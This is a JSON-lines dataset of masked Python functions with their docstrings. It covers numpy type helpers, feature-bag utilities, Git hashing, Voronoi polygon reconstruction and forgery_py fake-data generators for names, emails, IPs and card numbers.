{"signature": "def is_integer_type(x):", "body": "return issubclass(np.asanyarray(x).dtype.type, np.integer)<EOL>", "docstring": "Checks whether the array is of an integral type.", "id": "f14629:m1"}
{"signature": "def is_categorical_type(ary):", "body": "ary = np.asanyarray(ary)<EOL>return is_integer_type(ary) or ary.dtype.kind == '<STR_LIT:b>'<EOL>", "docstring": "Checks whether the array is either integral or boolean.", "id": "f14629:m2"}
{"signature": "def is_integer(x):", "body": "return np.isscalar(x) and is_integer_type(x)<EOL>", "docstring": "Checks whether the argument is a single integer.", "id": "f14629:m3"}
{"signature": "def is_categorical(x):", "body": "return np.isscalar(x) and is_categorical_type(x)<EOL>", "docstring": "Checks whether the argument is a single integer or boolean.", "id": "f14629:m4"}
{"signature": "def as_integer_type(ary):", "body": "ary = np.asanyarray(ary)<EOL>if is_integer_type(ary):<EOL><INDENT>return ary<EOL><DEDENT>rounded = np.rint(ary)<EOL>if np.any(rounded != ary):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return rounded.astype(int)<EOL>", "docstring": "Returns argument as an integer array, converting floats if convertable.\nRaises ValueError if it's a float array with nonintegral values.", "id": "f14629:m5"}
{"signature": "def show_progress(name, **kwargs):", "body": "logger = logging.getLogger(name)<EOL>logger.setLevel(logging.INFO)<EOL>logger.addHandler(ProgressBarHandler(**kwargs))<EOL>", "docstring": "Sets up a :class:`ProgressBarHandler` to handle progess logs for\na given module.\n\nParameters\n----------\nname : string\n    The module name of the progress logger to use. For example,\n    :class:`skl_groups.divergences.KNNDivergenceEstimator`\n    uses ``'skl_groups.divergences.knn.progress'``.\n\n* : anything\n    Other keyword arguments are passed to the :class:`ProgressBarHandler`.", "id": "f14629:m6"}
{"signature": "def start(self, total):", "body": "self.logger.info(json.dumps(['<STR_LIT>', self.name, total]))<EOL>", "docstring": "Signal the start of the process.\n\nParameters\n----------\ntotal : int\n    The total number of steps in the process, or None if unknown.", "id": "f14629:c1:m1"}
{"signature": "def update(self, idx):", "body": "<EOL>self.logger.info('<STR_LIT>'.format(idx))<EOL>", "docstring": "Update the current state.\n\nParameters\n----------\nidx : int\n    The current state through the process.", "id": "f14629:c1:m2"}
{"signature": "def finish(self):", "body": "self.logger.info(json.dumps(['<STR_LIT>']))<EOL>", "docstring": "Marks the process as done.", "id": "f14629:c1:m3"}
{"signature": "def as_features(X, stack=False, bare=False):", "body": "if isinstance(X, Features):<EOL><INDENT>if stack:<EOL><INDENT>X.make_stacked()<EOL><DEDENT>return X.bare() if bare else X<EOL><DEDENT>return Features(X, stack=stack, bare=bare)<EOL>", "docstring": "Returns a version of X as a :class:`Features` object.\n\nParameters\n----------\nstack : boolean, default False\n    Make a stacked version of X. Note that if X is a features object,\n    this will stack it in-place, since that's usually what you want.\n    (If not, just use the :class:`Features` constructor instead.)\n\nbare : boolean, default False\n    Return a bare version of X (no metadata).\n\nReturns\n-------\nfeats : :class:`Features`\n    A version of X. If X is already a :class:`Features` object, the original\n    X may be returned, depending on the arguments.", "id": "f14630:m0"}
{"signature": "def make_stacked(self):", "body": "if self.stacked:<EOL><INDENT>return<EOL><DEDENT>self._boundaries = bounds = np.r_[<NUM_LIT:0>, np.cumsum(self.n_pts)]<EOL>self.stacked_features = stacked = np.vstack(self.features)<EOL>self.features = np.array(<EOL>[stacked[bounds[i-<NUM_LIT:1>]:bounds[i]] for i in xrange(<NUM_LIT:1>, len(bounds))],<EOL>dtype=object)<EOL>self.stacked = True<EOL>", "docstring": "If unstacked, convert to stacked. If stacked, do nothing.", "id": "f14630:c0:m1"}
{"signature": "@property<EOL><INDENT>def total_points(self):<DEDENT>", "body": "return self.n_pts.sum()<EOL>", "docstring": "The total number of points in all bags.", "id": "f14630:c0:m2"}
{"signature": "@property<EOL><INDENT>def dim(self):<DEDENT>", "body": "return self.features[<NUM_LIT:0>].shape[<NUM_LIT:1>]<EOL>", "docstring": "The dimensionality of the features.", "id": "f14630:c0:m3"}
{"signature": "@property<EOL><INDENT>def dtype(self):<DEDENT>", "body": "return self.features[<NUM_LIT:0>].dtype<EOL>", "docstring": "The data type of the feature vectors.", "id": "f14630:c0:m4"}
{"signature": "def copy(self, stack=False, copy_meta=False, memo=None):", "body": "if self.stacked:<EOL><INDENT>fs = deepcopy(self.stacked_features, memo)<EOL>n_pts = self.n_pts.copy()<EOL><DEDENT>elif stack:<EOL><INDENT>fs = np.vstack(self.features)<EOL>n_pts = self.n_pts.copy()<EOL><DEDENT>else:<EOL><INDENT>fs = deepcopy(self.features, memo)<EOL>n_pts = None<EOL><DEDENT>meta = deepcopy(self.meta, memo) if copy_meta else self.meta<EOL>return Features(fs, n_pts, copy=False, **meta)<EOL>", "docstring": "Copies the Feature object. Makes a copy of the features array.\n\nParameters\n----------\nstack : boolean, optional, default False\n    Whether to stack the copy if this one is unstacked.\n\ncopy_meta : boolean, optional, default False\n    Also copy the metadata. If False, metadata in both points to the\n    same object.", "id": "f14630:c0:m5"}
{"signature": "def bare(self):", "body": "if not self.meta:<EOL><INDENT>return self<EOL><DEDENT>elif self.stacked:<EOL><INDENT>return Features(self.stacked_features, self.n_pts, copy=False)<EOL><DEDENT>else:<EOL><INDENT>return Features(self.features, copy=False)<EOL><DEDENT>", "docstring": "Make a Features object with no metadata; points to the same features.", "id": "f14630:c0:m18"}
{"signature": "def hash_file(path):", "body": "return check_output([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", path]).decode().strip()<EOL>", "docstring": "Write file at path to Git index, return its SHA1 as a string.", "id": "f14631:m0"}
{"signature": "def _lstree(files, dirs):", "body": "for f, sha1 in files:<EOL><INDENT>yield \"<STR_LIT>\".format(sha1, f)<EOL><DEDENT>for d, sha1 in dirs:<EOL><INDENT>yield \"<STR_LIT>\".format(sha1, d)<EOL><DEDENT>", "docstring": "Make git ls-tree like output.", "id": "f14631:m1"}
{"signature": "def hash_dir(path):", "body": "dir_hash = {}<EOL>for root, dirs, files in os.walk(path, topdown=False):<EOL><INDENT>f_hash = ((f, hash_file(join(root, f))) for f in files)<EOL>d_hash = ((d, dir_hash[join(root, d)]) for d in dirs)<EOL>dir_hash[join(*split(root))] = _mktree(f_hash, d_hash)<EOL><DEDENT>return dir_hash[path]<EOL>", "docstring": "Write directory at path to Git index, return its SHA1 as a string.", "id": "f14631:m3"}
{"signature": "def voronoi_finite_polygons_2d(vor, radius=None):", "body": "if vor.points.shape[<NUM_LIT:1>] != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>new_regions = []<EOL>new_vertices = vor.vertices.tolist()<EOL>center = vor.points.mean(axis=<NUM_LIT:0>)<EOL>if radius is None:<EOL><INDENT>radius = vor.points.ptp().max()*<NUM_LIT:2><EOL><DEDENT>all_ridges = {}<EOL>for (p1, p2), (v1, v2) in zip(vor.ridge_points, vor.ridge_vertices):<EOL><INDENT>all_ridges.setdefault(p1, []).append((p2, v1, v2))<EOL>all_ridges.setdefault(p2, []).append((p1, v1, v2))<EOL><DEDENT>for p1, region in enumerate(vor.point_region):<EOL><INDENT>vertices = vor.regions[region]<EOL>if all(v >= <NUM_LIT:0> for v in vertices):<EOL><INDENT>new_regions.append(vertices)<EOL>continue<EOL><DEDENT>ridges = all_ridges[p1]<EOL>new_region = [v for v in vertices if v >= <NUM_LIT:0>]<EOL>for p2, v1, v2 in ridges:<EOL><INDENT>if v2 < <NUM_LIT:0>:<EOL><INDENT>v1, v2 = v2, v1<EOL><DEDENT>if v1 >= <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>t = vor.points[p2] - vor.points[p1] <EOL>t /= np.linalg.norm(t)<EOL>n = np.array([-t[<NUM_LIT:1>], t[<NUM_LIT:0>]])  <EOL>midpoint = vor.points[[p1, p2]].mean(axis=<NUM_LIT:0>)<EOL>direction = np.sign(np.dot(midpoint - center, n)) * n<EOL>far_point = vor.vertices[v2] + direction * radius<EOL>new_region.append(len(new_vertices))<EOL>new_vertices.append(far_point.tolist())<EOL><DEDENT>vs = np.asarray([new_vertices[v] for v in new_region])<EOL>c = vs.mean(axis=<NUM_LIT:0>)<EOL>angles = np.arctan2(vs[:,<NUM_LIT:1>] - c[<NUM_LIT:1>], vs[:,<NUM_LIT:0>] - c[<NUM_LIT:0>])<EOL>new_region = np.array(new_region)[np.argsort(angles)]<EOL>new_regions.append(new_region.tolist())<EOL><DEDENT>return new_regions, np.asarray(new_vertices)<EOL>", "docstring": "Reconstruct infinite voronoi regions in a 2D diagram to finite\nregions.\n\nParameters\n----------\nvor : Voronoi\n    Input diagram\nradius : float, optional\n    Distance to 'points at infinity'.\n\nReturns\n-------\nregions : list of tuples\n    Indices of vertices in each revised Voronoi regions.\nvertices : list of tuples\n    Coordinates for revised Voronoi vertices. Same as coordinates\n    of input vertices, with 'points at infinity' appended to the\n    end.", "id": "f14632:m0"}
{"signature": "def user_name(with_num=False):", "body": "result = first_name()<EOL>if with_num:<EOL><INDENT>result += str(random.randint(<NUM_LIT>, <NUM_LIT>))<EOL><DEDENT>return result.lower()<EOL>", "docstring": "Return a random user name.\n\n    Basically it's lowercased result of\n    :py:func:`~forgery_py.forgery.name.first_name()` with a number appended\n    if `with_num`.", "id": "f14649:m0"}
{"signature": "def top_level_domain():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random top-level domain name.", "id": "f14649:m1"}
{"signature": "def domain_name():", "body": "result = random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>result += '<STR_LIT:.>' + top_level_domain()<EOL>return result.lower()<EOL>", "docstring": "Return a random domain name.\n\n    Lowercased result of :py:func:`~forgery_py.forgery.name.company_name()`\n    plus :py:func:`~top_level_domain()`.", "id": "f14649:m2"}
{"signature": "def email_address(user=None):", "body": "if not user:<EOL><INDENT>user = user_name()<EOL><DEDENT>else:<EOL><INDENT>user = user.strip().replace('<STR_LIT:U+0020>', '<STR_LIT:_>').lower()<EOL><DEDENT>return user + '<STR_LIT:@>' + domain_name()<EOL>", "docstring": "Return random e-mail address in a hopefully imaginary domain.\n\n    If `user` is ``None`` :py:func:`~user_name()` will be used. Otherwise it\n    will be lowercased and will have spaces replaced with ``_``.\n\n    Domain name is created using :py:func:`~domain_name()`.", "id": "f14649:m3"}
{"signature": "def email_subject(words_quantity=<NUM_LIT:4>):", "body": "return lorem_ipsum.title(words_quantity=words_quantity)<EOL>", "docstring": "An alias for lorem_ipsum.title(words_quantity)", "id": "f14649:m4"}
{"signature": "def cctld():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random country code TLD.", "id": "f14649:m5"}
{"signature": "def ip_v4():", "body": "return '<STR_LIT:.>'.join([str(random.randint(<NUM_LIT:0>, <NUM_LIT:255>)) for _ in range(<NUM_LIT:0>, <NUM_LIT:4>)])<EOL>", "docstring": "Return a random IPv4 address.", "id": "f14649:m6"}
{"signature": "def _py2_ip_v6():", "body": "<EOL>magnitude = <NUM_LIT:16> ** <NUM_LIT:4><EOL>return \"<STR_LIT::>\".join((\"<STR_LIT>\" % random.randint(<NUM_LIT:0>, magnitude) for _ in range(<NUM_LIT:8>)))<EOL>", "docstring": "Return a random IPv6 address for Python versions prior to 3.3.", "id": "f14649:m7"}
{"signature": "def ip_v6():", "body": "try:<EOL><INDENT>import ipaddress<EOL><DEDENT>except ImportError:<EOL><INDENT>return _py2_ip_v6()<EOL><DEDENT>return str(ipaddress.IPv6Address(random.randint(<NUM_LIT:0>, <NUM_LIT:2>**<NUM_LIT>)))<EOL>", "docstring": "Return a random IPv6 address.", "id": "f14649:m8"}
{"signature": "def word():", "body": "return words(quantity=<NUM_LIT:1>)<EOL>", "docstring": "Return a random word.", "id": "f14650:m0"}
{"signature": "def words(quantity=<NUM_LIT:10>, as_list=False):", "body": "global _words<EOL>if not _words:<EOL><INDENT>_words = '<STR_LIT:U+0020>'.join(get_dictionary('<STR_LIT>')).lower().replace('<STR_LIT:\\n>', '<STR_LIT>')<EOL>_words = re.sub(r'<STR_LIT>', '<STR_LIT>', _words)<EOL>_words = _words.split('<STR_LIT:U+0020>')<EOL><DEDENT>result = random.sample(_words, quantity)<EOL>if as_list:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:U+0020>'.join(result)<EOL><DEDENT>", "docstring": "Return random words.", "id": "f14650:m1"}
{"signature": "def title(words_quantity=<NUM_LIT:4>):", "body": "result = words(quantity=words_quantity)<EOL>result += random.choice('<STR_LIT>')<EOL>return result.capitalize()<EOL>", "docstring": "Return a random sentence to be used as e.g. an e-mail subject.", "id": "f14650:m2"}
{"signature": "def sentence():", "body": "return sentences(quantity=<NUM_LIT:1>)<EOL>", "docstring": "Return a random sentence.", "id": "f14650:m3"}
{"signature": "def sentences(quantity=<NUM_LIT:2>, as_list=False):", "body": "result = [sntc.strip() for sntc in<EOL>random.sample(get_dictionary('<STR_LIT>'), quantity)]<EOL>if as_list:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:U+0020>'.join(result)<EOL><DEDENT>", "docstring": "Return random sentences.", "id": "f14650:m4"}
{"signature": "def paragraph(separator='<STR_LIT>', wrap_start='<STR_LIT>', wrap_end='<STR_LIT>',<EOL>html=False, sentences_quantity=<NUM_LIT:3>):", "body": "return paragraphs(quantity=<NUM_LIT:1>, separator=separator, wrap_start=wrap_start,<EOL>wrap_end=wrap_end, html=html,<EOL>sentences_quantity=sentences_quantity)<EOL>", "docstring": "Return a random paragraph.", "id": "f14650:m5"}
{"signature": "def paragraphs(quantity=<NUM_LIT:2>, separator='<STR_LIT>', wrap_start='<STR_LIT>', wrap_end='<STR_LIT>',<EOL>html=False, sentences_quantity=<NUM_LIT:3>, as_list=False):", "body": "if html:<EOL><INDENT>wrap_start = '<STR_LIT>'<EOL>wrap_end = '<STR_LIT>'<EOL>separator = '<STR_LIT>'<EOL><DEDENT>result = []<EOL>try:<EOL><INDENT>for _ in xrange(<NUM_LIT:0>, quantity):<EOL><INDENT>result.append(wrap_start +<EOL>sentences(sentences_quantity) +<EOL>wrap_end)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>for _ in range(<NUM_LIT:0>, quantity):<EOL><INDENT>result.append(wrap_start +<EOL>sentences(sentences_quantity) +<EOL>wrap_end)<EOL><DEDENT><DEDENT>if as_list:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>return separator.join(result)<EOL><DEDENT>", "docstring": "Return random paragraphs.", "id": "f14650:m6"}
{"signature": "def _to_lower_alpha_only(s):", "body": "s = re.sub(r'<STR_LIT:\\n>', '<STR_LIT:U+0020>',  s.lower())<EOL>return re.sub(r'<STR_LIT>', '<STR_LIT>', s)<EOL>", "docstring": "Return a lowercased string with non alphabetic chars removed.\n\n    White spaces are not to be removed.", "id": "f14650:m7"}
{"signature": "def characters(quantity=<NUM_LIT:10>):", "body": "line = map(_to_lower_alpha_only,<EOL>'<STR_LIT>'.join(random.sample(get_dictionary('<STR_LIT>'), quantity)))<EOL>return '<STR_LIT>'.join(line)[:quantity]<EOL>", "docstring": "Return random characters.", "id": "f14650:m8"}
{"signature": "def character():", "body": "return characters(quantity=<NUM_LIT:1>)<EOL>", "docstring": "Return a random character.", "id": "f14650:m9"}
{"signature": "def text(what=\"<STR_LIT>\", *args, **kwargs):", "body": "if what == \"<STR_LIT>\":<EOL><INDENT>return character(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return characters(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return word(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return words(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return sentence(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return sentences(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return paragraph(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT>\":<EOL><INDENT>return paragraphs(*args, **kwargs)<EOL><DEDENT>elif what == \"<STR_LIT:title>\":<EOL><INDENT>return title(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>", "docstring": "An aggregator for all above defined public methods.", "id": "f14650:m10"}
{"signature": "def lorem_ipsum_characters():", "body": "return _to_lower_alpha_only('<STR_LIT>'.join(get_dictionary('<STR_LIT>')))<EOL>", "docstring": "Return a whole lorem_ipsum dictionary as a lowercase string.", "id": "f14650:m11"}
{"signature": "def lorem_ipsum_words():", "body": "return lorem_ipsum_characters().strip().split('<STR_LIT:U+0020>')<EOL>", "docstring": "Return a list of all lowercased words.\n\n    Words are taken from the `lorem_ipsum dictionary`.", "id": "f14650:m12"}
{"signature": "def first_name():", "body": "_dict = get_dictionary('<STR_LIT>')<EOL>_dict += get_dictionary('<STR_LIT>')<EOL>return random.choice(_dict).strip()<EOL>", "docstring": "Return a random male of female first name.", "id": "f14651:m0"}
{"signature": "def last_name():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random last name.", "id": "f14651:m1"}
{"signature": "def full_name():", "body": "return first_name() + '<STR_LIT:U+0020>' + last_name()<EOL>", "docstring": "Return a random full name.\n\n    Equivalent of ``first_name() + ' ' + last_name()``.", "id": "f14651:m2"}
{"signature": "def male_first_name():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random male first name.", "id": "f14651:m3"}
{"signature": "def female_first_name():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random female first name.", "id": "f14651:m4"}
{"signature": "def company_name():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random company name.", "id": "f14651:m5"}
{"signature": "def job_title():", "body": "result = random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>result = result.replace('<STR_LIT>', job_title_suffix())<EOL>return result<EOL>", "docstring": "Return a random job title.", "id": "f14651:m6"}
{"signature": "def job_title_suffix():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random job title suffix.", "id": "f14651:m7"}
{"signature": "def title():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random name title, e.g. ``Mr``.", "id": "f14651:m8"}
{"signature": "def suffix():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random name suffix, e.g. ``Jr``.", "id": "f14651:m9"}
{"signature": "def location():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random location name, e.g. ``MI6 Headquarters``.", "id": "f14651:m10"}
{"signature": "def industry():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random industry name.", "id": "f14651:m11"}
{"signature": "def day_of_week(abbr=False):", "body": "if abbr:<EOL><INDENT>return random.choice(DAYS_ABBR)<EOL><DEDENT>else:<EOL><INDENT>return random.choice(DAYS)<EOL><DEDENT>", "docstring": "Return a random (abbreviated if `abbr`) day of week name.", "id": "f14652:m0"}
{"signature": "def month(abbr=False, numerical=False):", "body": "if numerical:<EOL><INDENT>return random.randint(<NUM_LIT:1>, <NUM_LIT:12>)<EOL><DEDENT>else:<EOL><INDENT>if abbr:<EOL><INDENT>return random.choice(MONTHS_ABBR)<EOL><DEDENT>else:<EOL><INDENT>return random.choice(MONTHS)<EOL><DEDENT><DEDENT>", "docstring": "Return a random (abbreviated if `abbr`) month name or month number if\n    `numerical`.", "id": "f14652:m1"}
{"signature": "def year(past=False, min_delta=<NUM_LIT:0>, max_delta=<NUM_LIT:20>):", "body": "return dt.date.today().year + _delta(past, min_delta, max_delta)<EOL>", "docstring": "Return a random year.", "id": "f14652:m3"}
{"signature": "def day(month_length=<NUM_LIT>):", "body": "return random.randint(<NUM_LIT:1>, month_length)<EOL>", "docstring": "Return a random day number in a `month_length` days long month.", "id": "f14652:m4"}
{"signature": "def date(past=False, min_delta=<NUM_LIT:0>, max_delta=<NUM_LIT:20>):", "body": "timedelta = dt.timedelta(days=_delta(past, min_delta, max_delta))<EOL>return dt.date.today() + timedelta<EOL>", "docstring": "Return a random `dt.date` object. Delta args are days.", "id": "f14652:m5"}
{"signature": "def datetime(past=False, min_delta=<NUM_LIT:0>, max_delta=<NUM_LIT:20>):", "body": "timedelta = dt.timedelta(days=_delta(past, min_delta, max_delta))<EOL>return dt.datetime.today() + timedelta<EOL>", "docstring": "Return a random `dt.dt` object. Delta args are days.", "id": "f14652:m6"}
{"signature": "def money(min=<NUM_LIT:0>, max=<NUM_LIT:10>):", "body": "value = random.choice(range(min * <NUM_LIT:100>, max * <NUM_LIT:100>))<EOL>return \"<STR_LIT>\" % (float(value) / <NUM_LIT:100>)<EOL>", "docstring": "Return a str of decimal with two digits after a decimal mark.", "id": "f14653:m0"}
{"signature": "def formatted_money(min=<NUM_LIT:0>, max=<NUM_LIT:10>):", "body": "return \"<STR_LIT>\" % float(money(min=min, max=max))<EOL>", "docstring": "Return a random sum of money with a dollar sign as a prefix.", "id": "f14653:m1"}
{"signature": "def latitude():", "body": "return random.uniform(<NUM_LIT:0.0>, <NUM_LIT:1.0>) * <NUM_LIT> - <NUM_LIT><EOL>", "docstring": "Return a random latitude in the range of [-90.0, +90.0].\n\n    Latitude is a float.", "id": "f14654:m0"}
{"signature": "def latitude_degrees():", "body": "return random.randint(<NUM_LIT:0>, <NUM_LIT>) - <NUM_LIT><EOL>", "docstring": "Return a random latitude's degrees component in the range [-180, +180].\n\n    Latitude's degree is an int.", "id": "f14654:m1"}
{"signature": "def latitude_direction():", "body": "return random.choice(['<STR_LIT:N>', '<STR_LIT:S>'])<EOL>", "docstring": "Return a random a latitude's direction component.\n\n    Latitude's direction is denoted as either \"N\" (north) or \"S\" (south).", "id": "f14654:m2"}
{"signature": "def latitude_minutes():", "body": "return random.randint(<NUM_LIT:0>, <NUM_LIT> - <NUM_LIT:1>)<EOL>", "docstring": "Return a random latitude's minutes component in the range [0, 60).\n\n    Latitude's minutes is an int.", "id": "f14654:m3"}
{"signature": "def latitude_seconds():", "body": "return random.randint(<NUM_LIT:0>, <NUM_LIT> - <NUM_LIT:1>)<EOL>", "docstring": "Return a random latitude's seconds component in the range [0, 60).\n\n    Latitude's seconds is an int.", "id": "f14654:m4"}
{"signature": "def longitude():", "body": "return random.uniform(<NUM_LIT:0.0>, <NUM_LIT:1.0>) * <NUM_LIT> - <NUM_LIT><EOL>", "docstring": "Return a random longitude in the range [-180.0, +180.0].\n\n    Longitude is a float.", "id": "f14654:m5"}
{"signature": "def longitude_degrees():", "body": "return latitude_degrees()<EOL>", "docstring": "Return a random longitude's degrees component in the range [-180, +180].\n\n    Longitude's degrees is an int.", "id": "f14654:m6"}
{"signature": "def longitude_direction():", "body": "return random.choice(['<STR_LIT:E>', '<STR_LIT>'])<EOL>", "docstring": "Return a random longitude's direction component.\n\n    Longitude's direction is denoted as either \"E\" (east) or \"W\" (west).", "id": "f14654:m7"}
{"signature": "def longitude_minutes():", "body": "return latitude_minutes()<EOL>", "docstring": "Return a random longitude's minutes component in the range [0, 60).\n\n    longitude's minutes is an int.", "id": "f14654:m8"}
{"signature": "def longitude_seconds():", "body": "return latitude_seconds()<EOL>", "docstring": "Return a random longitude's seconds component in the range [0, 60).\n\n    Longitude's seconds is an int.", "id": "f14654:m9"}
{"signature": "def description():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random currency description, e.g. `United Kingdom Pounds`.", "id": "f14655:m0"}
{"signature": "def code():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random currency code, e.g. `GBP`.", "id": "f14655:m1"}
{"signature": "def hex_color():", "body": "return '<STR_LIT>'.join(random.sample(HEX_DIGITS, <NUM_LIT:6>))<EOL>", "docstring": "Return random HEX color.", "id": "f14656:m0"}
{"signature": "def hex_color_short():", "body": "return '<STR_LIT>'.join(random.sample(HEX_DIGITS, <NUM_LIT:3>))<EOL>", "docstring": "Return random short HEX color (e.g. `FFF` color).", "id": "f14656:m1"}
{"signature": "def text(length=None, at_least=<NUM_LIT:10>, at_most=<NUM_LIT:15>, lowercase=True,<EOL>uppercase=True, digits=True, spaces=True, punctuation=False):", "body": "base_string = '<STR_LIT>'<EOL>if lowercase:<EOL><INDENT>base_string += string.ascii_lowercase<EOL><DEDENT>if uppercase:<EOL><INDENT>base_string += string.ascii_uppercase<EOL><DEDENT>if digits:<EOL><INDENT>base_string += string.digits<EOL><DEDENT>if spaces:<EOL><INDENT>base_string += '<STR_LIT:U+0020>'<EOL><DEDENT>if punctuation:<EOL><INDENT>base_string += string.punctuation<EOL><DEDENT>if len(base_string) == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if not length:<EOL><INDENT>length = random.randint(at_least, at_most)<EOL><DEDENT>result = '<STR_LIT>'<EOL>try:<EOL><INDENT>for _ in xrange(<NUM_LIT:0>, length):<EOL><INDENT>result += random.choice(base_string)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>for i in range(<NUM_LIT:0>, length):<EOL><INDENT>result += random.choice(base_string)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return random text.\n\nIf `length` is present the text will be exactly this chars long. Else the\ntext will be something between `at_least` and `at_most` chars long.", "id": "f14656:m2"}
{"signature": "def boolean():", "body": "return random.choice(BOOLEAN)<EOL>", "docstring": "Return random boolean.", "id": "f14656:m3"}
{"signature": "def color():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random color name.", "id": "f14656:m4"}
{"signature": "def encrypt(password='<STR_LIT:password>', salt=None):", "body": "if not salt:<EOL><INDENT>salt = str(datetime.utcnow())<EOL><DEDENT>try:<EOL><INDENT>dk = hashlib.pbkdf2_hmac('<STR_LIT>', password.encode(), salt.encode(), <NUM_LIT>)<EOL>hexdigest = binascii.hexlify(dk).decode('<STR_LIT:utf-8>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>dk = hashlib.sha1()<EOL>dk.update(password.encode() + salt.encode())<EOL>hexdigest = dk.hexdigest()<EOL><DEDENT>return hexdigest<EOL>", "docstring": "Return SHA1 hexdigest of a password (optionally salted with a string).", "id": "f14656:m5"}
{"signature": "def frequency():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random frequency rate.\n\n    Frequency rate is taken from the `frequencies` dictionary.", "id": "f14656:m6"}
{"signature": "def number(at_least=<NUM_LIT:0>, at_most=<NUM_LIT:10>):", "body": "return random.choice(range(at_least, at_most))<EOL>", "docstring": "Return a random number in the range specified.", "id": "f14656:m7"}
{"signature": "def password(at_least=<NUM_LIT:6>, at_most=<NUM_LIT:12>, lowercase=True,<EOL>uppercase=True, digits=True, spaces=False, punctuation=False):", "body": "return text(at_least=at_least, at_most=at_most, lowercase=lowercase,<EOL>uppercase=uppercase, digits=digits, spaces=spaces,<EOL>punctuation=punctuation)<EOL>", "docstring": "Return a random string for use as a password.", "id": "f14656:m8"}
{"signature": "def type():", "body": "return random.choice(list(CARDS.keys()))<EOL>", "docstring": "Return a random credit card type.", "id": "f14657:m0"}
{"signature": "def check_digit(num):", "body": "sum = <NUM_LIT:0><EOL>digits = str(num)[:-<NUM_LIT:1>][::-<NUM_LIT:1>]<EOL>for i, n in enumerate(digits):<EOL><INDENT>if (i + <NUM_LIT:1>) % <NUM_LIT:2> != <NUM_LIT:0>:<EOL><INDENT>digit = int(n) * <NUM_LIT:2><EOL>if digit > <NUM_LIT:9>:<EOL><INDENT>sum += (digit - <NUM_LIT:9>)<EOL><DEDENT>else:<EOL><INDENT>sum += digit<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sum += int(n)<EOL><DEDENT><DEDENT>return ((divmod(sum, <NUM_LIT:10>)[<NUM_LIT:0>] + <NUM_LIT:1>) * <NUM_LIT:10> - sum) % <NUM_LIT:10><EOL>", "docstring": "Return a check digit of the given credit card number.\n\n    Check digit calculated using Luhn algorithm (\"modulus 10\")\n    See: http://www.darkcoding.net/credit-card/luhn-formula/", "id": "f14657:m1"}
{"signature": "def number(type=None, length=None, prefixes=None):", "body": "<EOL>if type and type in CARDS:<EOL><INDENT>card = type<EOL><DEDENT>else:<EOL><INDENT>card = random.choice(list(CARDS.keys()))<EOL><DEDENT>if not prefixes:<EOL><INDENT>prefixes = CARDS[card]['<STR_LIT>']<EOL><DEDENT>prefix = random.choice(prefixes)<EOL>if not length:<EOL><INDENT>length = CARDS[card]['<STR_LIT>']<EOL><DEDENT>result = str(prefix)<EOL>for d in range(length - len(str(prefix))):<EOL><INDENT>result += str(basic.number())<EOL><DEDENT>last_digit = check_digit(int(result))<EOL>return int(result[:-<NUM_LIT:1>] + str(last_digit))<EOL>", "docstring": "Return a random credit card number.\n\n:param type: credit card type. Defaults to a random selection.\n:param length: length of the credit card number.\n               Defaults to the length for the selected card type.\n:param prefixes: allowed prefixes for the card number.\n                 Defaults to prefixes for the selected card type.\n:return: credit card randomly generated number (int)", "id": "f14657:m2"}
{"signature": "def zone():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random timezone.", "id": "f14658:m0"}
{"signature": "def account_number():", "body": "account = [random.randint(<NUM_LIT:1>, <NUM_LIT:9>) for _ in range(<NUM_LIT:20>)]<EOL>return \"<STR_LIT>\".join(map(str, account))<EOL>", "docstring": "Return a random bank account number.", "id": "f14659:m0"}
